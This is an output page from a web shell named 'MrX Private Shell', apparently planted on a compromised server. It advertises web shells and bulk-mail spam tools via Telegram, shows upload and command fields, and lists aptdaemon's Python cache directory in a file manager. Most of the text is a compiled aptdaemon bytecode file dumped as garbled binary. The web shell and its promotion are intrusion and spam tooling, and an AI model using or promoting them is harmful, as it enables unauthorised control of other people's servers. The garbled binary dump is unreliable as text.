__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

`�g������SrSrSrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSKrSSKrSSKrSSKJr SSKJr SSKJr SS	KJr SS
KJr Sr\R8"S5r\R8"S
5rSr\R@\RB\RD\RF\RH\RJ\RLS.r'\("S5S-r)"SS\RTRVRX5r-"SS\RTRVR\5r/"SS\/5r0"SS\15r2"SS\25r3"SS\35r4"SS\45r5"S S!\45r6g)"z$Progress handlers for APT operationsz%Sebastian Heinlein <[email protected]>)�DaemonAcquireProgress�DaemonOpenProgress�DaemonInstallProgress�DaemonDpkgInstallProgress�DaemonForkProgress�DaemonDpkgRecoverProgress�N)�GLib�)�enums)�lock)�mainloop)�IsoCodesc��U$�N�)�ss �4/usr/lib/python3/dist-packages/aptdaemon/progress.py�<lambda>r*s��a�zAptDaemon.WorkerzAptDaemon.Worker.TerminaliX)�install�	configure�remove�trigproc�purge�	disappear�upgrade�z\[[;?0-9]*[A-Za-z]c�2�\rSrSrSrSSjrS	SjrSrSrg)
r�<z*Handles the progress of the cache opening.c�:�[RRRR	U5 XlSVs/sH
nX#U-
U--PM snUl[U5UlURRS5Ul
SUlX@lgs snf)a"Initialize a new DaemonOpenProgress instance.

Keyword arguments:
transaction -- corresponding transaction D-Bus object
begin -- begin of the progress range (defaults to 0)
end -- end of the progress range (defaults to 100)
quiet -- do not emit any progress information for the transaction
)g�?��?g�?��?r"rN)�apt�progress�base�
OpProgress�__init__�_transaction�steps�float�progress_begin�pop�progress_end�quiet)�self�transaction�begin�endr.�modifiers      rr'�DaemonOpenProgress.__init__@s���	�����$�$�-�-�d�3�'��'E�F�'E�(��U�{�h�6�6�'E�F��
�$�E�l��� �J�J�N�N�1�-�����
��
��Fs�BNc��U=(d URnUS:aG[URUS-URUR-
--5nURU:XagOSnX lUR
(dX Rlgg)zXCallback for progress updates.

Keyword argument:
percent - current progress in percent
�e�dN)�percent�intr+r-r$r.r()r/r8r$s   r�update�DaemonOpenProgress.updateTs����)�T�\�\���S�=��4�.�.�'�C�-� �-�-��0C�0C�C�2E�E�F�H��}�}��(��)��H� �
��z�z�)1���&�rc���URUlURUlURR	S5Ulg! [
R
S5 g=f)zPCallback after completing a step.

Sets the progress range to the next interval.rz0An additional step to open the cache is requiredN)r-r$r+r)r,�log�warning�r/s r�done�DaemonOpenProgress.donegsO��
�)�)��
�"�/�/���	L� $�
�
���q� 1�D���	L��K�K�J�K�s� A�A)r(r$r+r-r.r))rr7Fr)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__r'r:r@�__static_attributes__rrrrr<s��4��(2�&Lrrc�b�\rSrSrSrSSjrSSjrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)r�uz%
Handle the package download process
c��[RRRR	U5 XlX0lX lSUlg)Nr)r#r$r%�AcquireProgressr'r0r-r+�r/r0r1r2s    rr'�DaemonAcquireProgress.__init__ys9�������)�)�2�2�4�8�&����#����
rc���URR[RR:Xa([
RnURRnGOURR[RR:Xa[
RnO�URR[RR:Xa[
RnO�URR[RR:Xa[
RnOSURR[RR:Xa[
RnO[
R nURR[RR:wa2URR"(aURR"nO4URR$(aURR$nOSnUR&XAR(X!RR-X1RR*-U4UR,lg)N�)�owner�status�apt_pkg�AcquireItem�	STAT_DONEr�
DOWNLOAD_DONE�filesize�STAT_AUTH_ERROR�DOWNLOAD_AUTH_ERROR�
STAT_FETCHING�DOWNLOAD_FETCHING�
STAT_ERROR�DOWNLOAD_ERROR�	STAT_IDLE�
DOWNLOAD_IDLE�DOWNLOAD_NETWORK_ERROR�
error_text�mode�uri�	shortdesc�partialsizer0�progress_download)r/�item�
total_size�current_sizerQ�msgs      r�_emit_acquire_item�(DaemonAcquireProgress._emit_acquire_item�s����:�:���� 3� 3� =� =�=��(�(�F��:�:�.�.�L�
�Z�Z�
�
�'�"5�"5�"E�"E�
E��.�.�F�
�Z�Z�
�
�'�"5�"5�"C�"C�
C��,�,�F�
�Z�Z�
�
�'�"5�"5�"@�"@�
@��)�)�F�
�Z�Z�
�
�'�"5�"5�"?�"?�
?��(�(�F��1�1�F��J�J����!4�!4�!>�!>�>��
�
�%�%��*�*�'�'�C�
�Z�Z�_�_��*�*�/�/�C��C��H�H�f�n�n����,�,�,��:�:�1�1�1��	.����*rc��[5nUH`nURR(a'URURR5 MEURUR5 Mb U(aKUR
R
SS[U55SSRU50-nX@R
l	gg)�$Emit the transaction status details.zDownloading %(files)s�files� N)
�setrP�id�addrcr0�ngettext�len�join�status_details)r/�items�namesrfris     r�_emit_status_details�*DaemonAcquireProgress._emit_status_details�s�������D��z�z�}�}��	�	�$�*�*�-�-�(��	�	�$�.�.�)�	�
��"�"�+�+�,C�,C�,/��J�8�;B�;>�8�8�E�?�;L�L�C�/2���+�
rc�&�URU5 g)z<Invoked when an item is successfully and completely fetched.N�rj�r/rfs  rr@�DaemonAcquireProgress.done��������%rc�&�URU5 g)z*Invoked when an item could not be fetched.Nr|r}s  r�fail�DaemonAcquireProgress.fail�rrc�&�URU5 g)z0Invoked when some of the item's data is fetched.Nr|r}s  r�fetch�DaemonAcquireProgress.fetch�rrc�&�URU5 g)z�Invoked when an item is confirmed to be up-to-date.

Invoked when an item is confirmed to be up-to-date. For instance,
when an HTTP download is informed that the file on the server was
not modified.
Nr|r}s  r�ims_hit�DaemonAcquireProgress.ims_hit�s��	
����%rc�.�URR(agURURURUR
URUR4URlURUR-S-[UR
UR-5-n[URUS-URUR-
--5nURU:�aSURl
OX0Rl
X0l
/nURHbnUR(dMUR!URUR"UR$5 UR'UR5 Md UR)U5 [*R,"5R/5(aM[*R,"5R15 [*R,"5R/5(aMMg)z'Callback to update progress informationFgY@r7r6T)r0�	cancelled�
current_items�total_items�
current_bytes�total_bytes�current_cps�elapsed_time�progress_detailsr*r9r+r-r$�workers�current_itemrjrgrh�appendryr	�main_context_default�pending�	iteration)r/rPr8r$rw�workers      r�pulse�DaemonAcquireProgress.pulse�s������%�%��-1�-?�-?�-1�-=�-=�-1�-?�-?�-1�-=�-=�-1�-=�-=�-1�->�->�-@����)��'�'�$�*<�*<�<��E���)�)�D�,<�,<�<�=�>���t�*�*�W�s�]��)�)�D�,?�,?�?�.A�A�B���=�=�8�#�(+�D���%�(0���%�$�M����m�m�F��&�&���#�#�F�$7�$7�$*�$5�$5�$*�$7�$7�
9�
�L�L��,�,�-�
$�	
�!�!�%�(��'�'�)�1�1�3�3��%�%�'�1�1�3��'�'�)�1�1�3�3�rc�d�[RURlSURlg�z*Callback at the beginning of the operationTN)r�STATUS_DOWNLOADINGr0rQ�cancellabler?s r�start�DaemonAcquireProgress.start�s$��"'�":�":�����'+����$rc�~�SURlURURlSURlg)�$Callback at the end of the operation)rrrrgrFN)r0r�r-r$r�r?s r�stop�DaemonAcquireProgress.stop�s2��,@����)�$(�$5�$5����!�',����$rc��X4URlSURl[RURlURR(a@[R"5R5 URR(aM@[RURlURR(agg)zCallback for media changesTF)r0�required_medium�pausedr�STATUS_WAITING_MEDIUMrQr	r�r�r�r�)r/�medium�drives   r�media_change�"DaemonAcquireProgress.media_change�s���+1�=����(�"&�����"'�"=�"=��������%�%��%�%�'�1�1�3����%�%�%�"'�":�":��������%�%��r)r$r+r-r0N�rr7�rr)rBrCrDrErFr'rjryr@r�r�r�r�r�r�r�rGrrrrrus?�����<2� &�&�&�&�!�F,�
-�
rrc�8�\rSrSrSrS	SjrSrSrS
SjrSr	g)�DaemonAcquireRepoProgress�z*Handle the repository information downloadc��[RXX#5 [SSSS9Ul[SS5UlSUlg)N�iso_639�iso_639_1_code�iso_639_2T_code)�tag�fallback_tag�iso_3166�alpha_2_coder6)rr'r�	languages�regionsr$rLs    rr'�"DaemonAcquireRepoProgress.__init__s<���&�&�t�%�E�!�)�1A�/@�B����
�N�;�����
rc�d�[RURlSURlgr�)r�STATUS_DOWNLOADING_REPOr0rQr�r?s rr��DaemonAcquireRepoProgress.start	s$��"'�"?�"?�����'+����$rc��[5nUHBnURURR5SRS5S5 MD U(aIUR
RSS[U55SRU5-nX@R
l
gg![a. URUR
R
S55 M�f=f)rmr�://����local repositoryzDownloading from %sroN)rprr�description�split�
IndexErrorr0�gettextrsrtrurv)r/rw�reposrfris     rry�.DaemonAcquireRepoProgress._emit_status_detailss�������D�
H��	�	�$�*�*�0�0�2�1�5�;�;�E�B�2�F�G����"�"�+�+�,A�,A�,/��J�8�:=�(�(�5�/�J�C�/2���+���	�
H��	�	�$�*�*�2�2�3E�F�G�
H�s�>B$�$4C�Cc�
�URR[RR:Xa([
RnURRnGOURR[RR:Xa[
RnO�URR[RR:Xa[
RnO�URR[RR:Xa[
RnOSURR[RR:Xa[
RnO[
R nURR[RR:wa2URR"(aURR"nO4URR$(aURR$nOSnUR&R)5SSupgUR)S5SnU<SU<3n	UR0S:Xa UR,R/S	5U	-nGOFUR0S
:Xa UR,R/S5U	-nGOUR0S:Xa UR,R/S
5U	-nGO�UR0R3S5(a UR,R/S5U	-nGO�UR0R3S5(a UR,R/S5U	-nGOfUR0S:Xa UR,R/S5U	-nGO6UR0R3S5(Ga	UR0R)SS5Sn
U
R)S5up�UR6R9U
UR,R:5nUR<R9UUR,R:5n
U(a(U
(a!UR,R/S5X�U	4-nOSU(a UR,R/S5X�4-nO,UR,R/S5X�4-nOUR0nUR>XHX!RR-X1RR@-U4UR,l!g![*a UR,R/S5nGN�f=f![4a SnGNjf=f)NrOr�r�r
r�ro�	InReleasezStructure of %s�ReleasezDescription of %szRelease.gpgzDescription signature of %s�PackageszAvailable packages from %s�SourceszAvailable sources from %s�TranslationIndexzAvailable translations from %szTranslation-�-r��_z Translations for %s (%s) from %szTranslations for %s from %szTranslations (%s) from %s)"rPrQrRrSrTrrUrVrWrXrYrZr[r\r]r^r_r`rar�r�r�r0r�rc�
startswith�
ValueErrorr��get_localised_name�localer�rbrdre)r/rfrgrhrQri�host�dist�desc�repo�	lang_code�region_code�lang�regions              rrj�,DaemonAcquireRepoProgress._emit_acquire_item s<���:�:���� 3� 3� =� =�=��(�(�F��:�:�.�.�L�
�Z�Z�
�
�'�"5�"5�"E�"E�
E��.�.�F�
�Z�Z�
�
�'�"5�"5�"C�"C�
C��,�,�F�
�Z�Z�
�
�'�"5�"5�"@�"@�
@��)�)�F�
�Z�Z�
�
�'�"5�"5�"?�"?�
?��(�(�F��1�1�F��J�J����!4�!4�!>�!>�>��
�
�%�%��*�*�'�'�C�
�Z�Z�_�_��*�*�/�/�C��C��%�%�+�+�-�a��2�
��	@��:�:�e�$�Q�'�D�
��%���>�>�[�(��#�#�+�+�,=�>��E�D�
�^�^�y�
(��#�#�+�+�,?�@�4�G�D�
�^�^�}�
,��#�#�+�+�-4�5�7;�<�D�
�^�^�
&�
&�z�
2�
2��#�#�+�+�,�.�04�5�D�
�^�^�
&�
&�y�
1�
1��#�#�+�+�+�-�/3�4�D�
�^�^�1�
1��#�#�+�+�-1�2�48�9�D�
�^�^�
&�
&�~�
6�
6����,�,�S�!�4�R�8�I�
#�)2����)=�&�	��>�>�4�4�Y�59�5E�5E�5L�5L�N�D��\�\�4�4�[�59�5E�5E�5L�5L�N�F����'�'�/�/�6�8�;?��:N�O����'�'�/�/�15�6�9=��E��
�'�'�/�/�15�6�9B�8I�J���>�>�D��H�H�f�J���1D�1D�$D��:�:�1�1�1�3�.8����*��o�	@��#�#�+�+�,>�?�D�	@��>�
#�"��
#�s$�/T�
T;�%T8�7T8�;U�
U)r�r$r�Nr�r�)
rBrCrDrErFr'r�ryrjrGrrrr�r��s��4��,�
2�$U8rr�c�j�\rSrSrSrSSjrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrg)rixz�Forks and executes a given method in the child process while
monitoring the output and return state.

During the run() call the mainloop will be iterated.

Furthermore a status file descriptor is available to communicate
with the child process.
c�|�XlSUlSUlX lX0lSUlSUlSUl[R"5uUl
Ul[[S5(aB[R"URS5 [R"URS5 SUlSUlg)NrOrr��set_inheritableT)r0rQr$r+r-�_child_exit�
last_activity�	child_pid�os�pipe�status_parent_fd�status_child_fd�hasattrr��output�_line_bufferrLs    rr'�DaemonForkProgress.__init__�s���&�������
�#�������������68�g�g�i�3���t�3��2�(�)�)����t�4�4�d�;����t�3�3�T�:������rc�&�UR5 U$r)�start_updater?s r�	__enter__�DaemonForkProgress.__enter__�s�������rc�$�UR5 gr)�
finish_update)r/�etype�evalue�etbs    r�__exit__�DaemonForkProgress.__exit__�s�����rc��[RS5 [RURlSURl[R"5Ul[R"5Ul	g)NzStart updateT)
r=�debugr�STATUS_COMMITTINGr0rQ�
term_attached�timer��
start_timer?s rr��DaemonForkProgress.start_update�sK���	�	�.�!�"'�"9�"9�����)-����&�!�Y�Y�[����)�)�+��rc�&�SURlg)r�FN)r0r�r?s rr�� DaemonForkProgress.finish_update�s��).����&rc�f�U"U6 [R"S5 [R"S5 g)z�Call the given method or function with the
corrsponding arguments in the child process.

This method should be replace in subclasses.
r!rN)r��sleepr��_exit)r/�method�argss   r�_child�DaemonForkProgress._child�s!��	��
��
�
�3��
����rc	�	�[RS5 SnURR(a�[R
"URR[R[R-[R-5n[R"U5n[R"U[R5 UR!5nUS:Xa�[R""UR$5 UR'5 UR("U0UD6 [0R2"S5 [R4"[6R8R:5 O&XPl[R""UR>5 [RSU5 /n[@RB[@RD-[@RF-nURR(a@URI[@RJ"U[@RLUURN55 URI[@RJ"URP[@RLUURRU55 URI[@RT"[@RLXPRV55 URI[@RJ"UR$[@RL[@RBURX55 URZS:Xa5[@R\"5R_5 URZS:XaM5UHn[@R`"U5 M U(a'[Rb"U[RdW5 URPUR$U4Hn	[R""U	5 M [Rh"URZ5$![[R4a SURlGNaf=f![*a [,R."5 GN.f=f![0R2"S5 [R4"[6R8R:5 f=f![Ra GNf=f![[f4a GMf=f)zhSetup monitoring, fork and call the self._child() method in the
child process with the given arguments.
�RunNrOrr
z
Child pid: %sr�)5r=r�r0�terminalr��open�O_RDWR�O_NOCTTY�
O_NONBLOCK�termios�	tcgetattr�tty�setraw�TCSANOW�OSError�error�_fork�closer��_setup_childr�	Exception�	traceback�	print_excr�rrrR�PackageManager�
RESULT_FAILEDr�r�r	�IO_IN�IO_ERR�IO_HUPr��io_add_watch�PRIORITY_HIGH_IDLE�_copy_io�	master_fd�_copy_io_master�child_watch_add�_on_child_exit�_on_status_updater�r�r��
source_remove�	tcsetattr�	TCSADRAIN�	TypeError�WEXITSTATUS)
r/r�kwargs�terminal_fd�
terminal_attr�pid�watchers�flagsrq�fds
          r�run�DaemonForkProgress.run�sl��	�	�	�%�������$�$�	
/�!�g�g�d�&6�&6�&?�&?�&(�i�i�"�+�+�&=��
�
�&M�O�� '� 1� 1�+� >�
��
�
�;����8��j�j�l���!�8��H�H�T�*�*�+�
?��!�!�#����T�,�V�,�
�
�
�1�
�����/�/�=�=�>� �N��H�H�T�)�)�*��	�	�/�3�'����
�
�T�[�[�(�4�;�;�6�����$�$��O�O�D�-�-�k�.2�.E�.E�.3�.2�m�m�=�
>�	����)�)�$�.�.�*.�*A�*A�5�*.�*>�*>��M�	N�	���� � ��!8�!8�!$�&9�&9�
;�	<�	����)�)�$�*?�*?�*.�*A�*A�*.�*�*�*.�*@�*@�B�	C����"�$��%�%�'�1�1�3����"�$��B����r�"���
��!�!�+�w�/@�/@�"/�1�
�>�>�4�#8�#8�+�F�B�
������G�
�~�~�d�.�.�/�/��w�W�]�]�+�
/�,.�� � �)�
/���
&��#�#�%�
&���
�
�1�
�����/�/�=�=�>��D�=�=�
��
���Y�'�
��
�s[�BO=�"P/�&R�R9�=+P,�+P,�/Q�Q�Q�Q�AR�R6�5R6�9S�
Sc�<�[RSU5 X lg)NzChild exited: %sF)r=r�r�)r/r2�	conditions   rr(�!DaemonForkProgress._on_child_exit�s���	�	�$�i�0�$��rc��g)z�Callback for changes on the status file descriptor.

The method has to return True to keep the monitoring alive. If
it returns False the monitoring will stop.

Replace this method in your subclass if you use the status fd.
Fr)r/�sourcer9s   rr)�$DaemonForkProgress._on_status_update�s��rc�>�[R"5uolU$)zWFork and create a master/slave pty pair by which the forked process
can be controlled.
)r��forkptyr%)r/r2s  rr�DaemonForkProgress._fork	s��!�j�j�l���^��
rc�D�Sn[R"[RU5 [R[l[
R"5 S[RS'[R"[RS5 URR(a+[R"SURR5 URR(d/[R"SS5 [R"SS5 O[R"S	S
5 URR(a|[R"SURR5 [R"SS
5 [ R"[$R&:Xa[R"SS5 O2URR(d[R"SS5 URR((a4[*R,R/SURR(5 SURR0<SURR2<S3n[*R,R/SU5 g)z+Setup the environment of the child process.c�`�[R"[RR5 gr)r�rrRrr)�signum�frames  r�interrupt_handler�:DaemonForkProgress._setup_child.<locals>.interrupt_handlers��
�H�H�W�+�+�9�9�:r�1�DPKG_UNTRANSLATED_MESSAGES�C�LANG�APT_LISTCHANGES_FRONTEND�none�APT_LISTBUGS_FRONTEND�TERM�linux�DEBCONF_PIPE�DEBIAN_FRONTEND�passthrough�
DEBCONF_DEBUG�.�noninteractivezAcquire::http::Proxyzaptdaemon role='z
' sender='�'zCommandLine::AsStringN)�signal�SIGINT�sys�__excepthook__�
excepthookr
�quitr��environr��	setlocale�LC_ALLr0�putenvr�debconfr=�level�logging�DEBUG�
http_proxyrR�configrp�role�sender)r/rE�cmds   rr�DaemonForkProgress._setup_childs���	;�
	�
�
�f�m�m�%6�7��+�+����
�
��47��
�
�/�0��������,����"�"��I�I�f�d�.�.�5�5�6����(�(�
�I�I�0�&�9��I�I�-�v�6��I�I�f�g�&����#�#��I�I�n�d�&6�&6�&>�&>�?��I�I�'��7��y�y�G�M�M�)��	�	�/�3�/���!�!�*�*��I�I�'�)9�:����&�&��N�N���5�#�/�/�:�:�
<��48�3C�3C�3H�3H�37�3C�3C�3J�3J�L�������2�C�8rc���U[R:Xa�[R"5Ul[R
"US5nURSS5nUS:Xab[R"[SUR5nU(a-[RU5 U=RUS--
slSUl
OU=RU-
sl
U(a[R "X45 gg[R""U5 g	![a [RS5 gf=f![a [RS5 gf=f![a g	f=f)
Nr
zFaild to read from masterT�UTF-8�ignore�
rOz'Failed to write to controlling terminalF)r	rr�r�r��readrr=r��decode�re�sub�REGEX_ANSI_ESCAPE_CODEr��log_terminalr��writer)r/r<r9�target�	char_byte�char�lines       rr&�"DaemonForkProgress._copy_io_master>s*����
�
�"�!%����D��
��G�G�F�A�.�	�
�#�#�G�X�6�D��t�|��v�v�4�b�$�:K�:K�L��� �&�&�t�,��K�K�4�$�;�.�K�$&��!��!�!�T�)�!��I��H�H�V�/��	��H�H�V����3�
��	�	�5�6��
��"�I��I�I�G�H��I��
�	���	�s5�D�D3�7E�D0�/D0�3E�E�
E%�$E%c��U[R:Xa�[R"US5n[R"UR
U5 URR(a=URR(a"SURl	SURlg[R"U5 g![a N#f=f)Nr
FT)r	rr�rorur%r0r��config_file_conflict�config_file_conflict_resolutionrr)r/r<r9rxs    rr$�DaemonForkProgress._copy_io^s�����
�
�"�
��w�w�v�q�)���������.�
�$�$�+�+��(�(�=�=�GK�D�$�$�D�.3�D�$�$�+��
��������
��
�s�8B>�>
C�
C)r�r�r�r�r%r�r$r+r-r�rQr�r�r0N)�2r7)rBrCrDrErFr'r�r�r�r�rr6r(r)rrr&r$rGrrrrrxsL���� ��&�/��I0�V�
��,9�\�@rrc�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)ripz>Progress to execute APT package operations in a child process.c�j�[RU5 [RR	5 gr)rr�r�status_lock�releaser?s rr��"DaemonInstallProgress.start_updatets"���'�'��-���� � �"rc��[RU5 [R"UR[R
5 g)r�N)rr�r�
wait_for_lockr0r�r?s rr��#DaemonInstallProgress.finish_updatexs,���(�(��.����4�+�+�T�-=�-=�>rc���URUR5n[R"U5 g! [R"[R
R5 g=fr)�
do_installr�r�rrRrr)r/�pm�ress   rr�DaemonInstallProgress._child}sG��	��-�-�� 4� 4�5�C�
�H�H�S�M��	;��H�H�W�+�+�9�9�:�s	�4�0A&c��[RS5 SnURS5(d\[R"5UlU[
R"US5RSS5-
nURS5(dM\URSS	5upEpgUR5nUS:XaURXX5 GO�US:XaR[R"S
U5n	U	(a2U	RS5U	RS5p�URX�5 GO\US:XGaUUR!S5(a["R$nGOUR!S5(a["R&nGO�UR!S5(a["R(nGO�UR!S5(a["R*nGO�UR!S5(a["R,nGOqUR!S5(a["R.nGOIUR!S5(a["R0nGO!UR!S5(a["R2nO�UR!S5(a["R4nO�UR!S5(a["R6nO�UR!S5(a["R8nO�UR!S5(a["R:nO^UR!S5(a["R<nO7UR!S5(a["R>nO["R@nURCU[EU5U5 UR[F-[R"5:aLURH(a;[RKS[F5 [
RL"URHS5 g
! g=f![a g
f=f) z)Parse messages from APT on the status fd.�UpdateInterfacerOrnr
rlrmF�:�T�pmerror�
pmconffile�\s*'(.*)'\s*'(.*)'.*r��pmstatus�
Installing�	Installed�ConfiguringzPreparing to configurezPreparing for removal of�Removing�RemovedzPreparing to completely removezCompletely removingzCompletely removed�	Unpacking�	PreparingzNoting disappearance of�Runningz#Killing child since timeout of %s s�)'r=r��endswithr�r�r�rorpr�r��strip�_errorrq�match�group�	_conffiler�r�PKG_INSTALLING�
PKG_INSTALLED�PKG_CONFIGURING�PKG_PREPARING_CONFIGURE�PKG_PREPARING_REMOVE�PKG_REMOVING�PKG_REMOVED�PKG_PREPARING_PURGE�PKG_PURGING�
PKG_PURGED�
PKG_UNPACKING�PKG_PREPARING_INSTALL�PKG_DISAPPEARING�PKG_RUNNING_TRIGGER�PKG_UNKNOWN�_status_changedr*�INSTALL_TIMEOUTr��critical�kill)
r/r<r9�
status_msgrQ�pkgr8�message_raw�messager��new�old�status_enums
             rr)�'DaemonInstallProgress._on_status_update�s���	�	�#�$��
�	� �)�)�$�/�/�%)�Y�Y�[��"��b�g�g�f�a�0�7�7���J�J�
�!�)�)�$�/�/�
	�2<�2B�2B�3��2J�/�V�'��#�#�%���Y���K�K��%�
�|�
#��H�H�5�{�C�E�� �;�;�q�>�5�;�;�q�>�S����s�(��
�z�
!��!�!�,�/�/�#�2�2���#�#�K�0�0�#�1�1���#�#�M�2�2�#�3�3���#�#�$<�=�=�#�;�;���#�#�$>�?�?�#�8�8���#�#�J�/�/�#�0�0���#�#�I�.�.�#�/�/���#�#�$D�E�E�#�7�7���#�#�$9�:�:�#�/�/���#�#�$8�9�9�#�.�.���#�#�K�0�0�#�1�1���#�#�K�0�0�#�9�9���#�#�$=�>�>�#�4�4���#�#�I�.�.�#�7�7��#�/�/��� � ��e�G�n�k�B�����0�4�9�9�;�>�����L�L�>�(�
*��G�G�D�N�N�B�'���q	����	��	�s�A0O5�O<�5O9�<
P	�P	c��[RSXU5 URUS-URUR-
--nURU:a [U5URlX@l[R"U5nURRU5U-nX`Rl
X4URlg)z%Callback to update status informationzAPT status: %s, %s, %sr7N)r=r�r+r-r$r9r0r�get_package_status_from_enumr�rv�progress_package)r/r�r8r�r$r�ris       rr��%DaemonInstallProgress._status_changed�s����	�	�*�C�+�F��&�&��3��$�:K�:K�:>�:M�:M�;N�*O�O���=�=�8�#�(+�H�
�D���%�$�M��1�1�+�>�����&�&�t�,�s�2��*-���'�-0�,>����)rc�>�[RSU<SU<S35 X4URlSURl[
RURlURR(a@[R"5R5 URR(aM@[RSURR5 URRS:Xa"[R"URS5 O;URRS:Xa![R"URS	5 S
URlS
URl[
R URlg)z#Callback for a config file conflictzConfig file prompt: 'z' (�)TzSending config file answer: %s�replacesy
�keepsn
N)r=r>r0r|r�r�!STATUS_WAITING_CONFIG_FILE_PROMPTrQr	r�r�r�r}r�rur%r�)r/�currentr�s   rr��DaemonInstallProgress._conffile�s�����w��D�E�18�����-�"&�����"'�"I�"I��������%�%��%�%�'�1�1�3����%�%�%��	�	�2��"�"�B�B�	D����;�;�y�H��H�H�T�^�^�V�,�
�
�
�
=�
=��
G��H�H�T�^�^�V�,�;?����8�04����-�"'�"9�"9�����rc�<�[RU<SU<35 g)zCallback for an errorz: N)r=r�)r/r�ris   rr��DaemonInstallProgress._error�s������c�*�+r)r�r$N)
rBrCrDrErFr�r�rr)r�r�r�rGrrrrrps*��H�#�?�
�@�D?� �&,rrc�.�\rSrSrSrSSjrSrSrSrg)	ri�z9Progress handler for a local Debian package installation.c�0�[RXX#5 gr)rr'rLs    rr'�"DaemonDpkgInstallProgress.__init__�s���&�&�t�%�Erc��[RSS[UR5/nUR	[RRS55 URR(dUR	SS/5 UR	SU/5 [R"[RS/UQ76 g)N�Dir::Bin::DPkg�--status-fdz
DPkg::Options�--force-confdef�--force-confoldz-i�
rRrf�strr��extend�
value_listr0rr��execlp)r/�debfilers   rr� DaemonDpkgInstallProgress._child�s������/�0�-��D�(�(�)�+�����G�N�N�-�-�o�>�?����(�(��K�K�*�,=�>�?����T�7�O�$�
�	�	�'�.�.�!1�2�:�T�:rc�$�[RS5 SnURS5(dBU[R"US5RSS5-
nURS5(dMBUR
SS	5Vs/sHoDR5PM nnUSS:XaUS
S:XaURUSUS	5 g
US
S:XaS[R"SUS	5nU(a2URS5URS
5p�URXx5 g
USS:Xa#[USn	UR%US
SU	5 g
! g=fs snf![a g
f=f![a [ R"n	NOf=f)Nr�rOrnr
rlrmFr�r�TrrQr�r�conffiler��
processingr6)r=r�r�r�rorpr�r�r�r�rqr�r�r��MAP_DPKG_STAGE�KeyErrorr�PKG_UNKONWNr�)
r/r<r9�
status_rawrrQr�r�r�r�s
          rr)�+DaemonDpkgInstallProgress._on_status_update�s����	�	�#�$��
�	� �)�)�$�/�/��b�g�g�f�a�0�7�7���J�J�
�!�)�)�$�/�/�	�)3�)9�)9�#�q�)A�B�)A�A�g�g�i�)A�F�B��!�9�� ��a�y�G�#����F�1�I�v�a�y�1�����j�(����!9�6�!�9�E���$�{�{�1�~�u�{�{�1�~���N�N�3�,��
�A�Y�,�
&�
0�,�V�A�Y�7��
� � ����C��=���9	���B���	��	��*�
0�#�/�/��
0�sB�AE�2E"�E�E"�3E2�E�E"�"
E/�.E/�2F�FrN)r6r6)	rBrCrDrErFr'rr)rGrrrrr�s��C�F�;�"rrc��\rSrSrSrSrSrg)ri$z-Progress handler for dpkg --confiure -a call.c�b�[RSS[UR5SS/nUR	[RRS55 URR(dUR	SS/5 [R"[RS/UQ76 g)	NzDir::Bin::Dpkgr�z--configurez-az
Dpkg::Optionsr�r�r�r�)r/rs  rr� DaemonDpkgRecoverProgress._child(s������/�0�-��D�(�(�)�=�$�@�����G�N�N�-�-�o�>�?����(�(��K�K�*�,=�>�?�
�	�	�'�.�.�!1�2�:�T�:rrN�rBrCrDrErFrrGrrrrr$s
��7�;rrc��\rSrSrSrSrSrg)�DaemonDpkgReconfigureProgressi1z+Progress handler for dpkg-reconfigure call.c��S/nUS:waURSU/5 URU5 [R"S/UQ76 g)Nz/usr/sbin/dpkg-reconfigure�defaultz
--priority)r�r�r�)r/�packages�priorityrs    rr�$DaemonDpkgReconfigureProgress._child5sA��,�-���y� ��K�K��x�0�1����H��
�	�	�.�6��6rrNr�rrrr�r�1s
��5�7rr�)7rF�
__author__�__all__r�rcr��platformrqrWrYrr�rrrR�apt.progress.baser#�apt.debfile�
gi.repositoryr	rOrr�loopr
�utilsrr��	getLoggerr=rtr�r�r�r�r�r�r��
PKG_UPGRADINGr��chrrsr$r%r&rrKrr��objectrrrrr�rrr�<module>r�sn��+�5�
�>����	��	�
�
����
�����������
���*�+��� � �!<�=����"�1�1�$�4�4�!�.�.�#�7�7� �,�,�$�5�5�"�0�0�
2���R��#8�8��6L����*�*�5�5�6L�rF�C�L�L�-�-�=�=�F�Rw8� 5�w8�tu��u�p|,�.�|,�~2� 5�2�j
;� 9�
;�	7�$=�	7r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 495 B 0644
client.cpython-313.pyc File 64.91 KB 0644
console.cpython-313.pyc File 33.16 KB 0644
core.cpython-313.pyc File 96.5 KB 0644
crash.cpython-313.pyc File 3.17 KB 0644
debconf.cpython-313.pyc File 9.05 KB 0644
enums.cpython-313.pyc File 20.51 KB 0644
errors.cpython-313.pyc File 9.93 KB 0644
gtk3widgets.cpython-313.pyc File 67.17 KB 0644
lock.cpython-313.pyc File 8.36 KB 0644
logger.cpython-313.pyc File 2.48 KB 0644
loop.cpython-313.pyc File 555 B 0644
networking.cpython-313.pyc File 12.09 KB 0644
policykit1.cpython-313.pyc File 7.13 KB 0644
progress.cpython-313.pyc File 43.79 KB 0644
utils.cpython-313.pyc File 5.03 KB 0644
Filemanager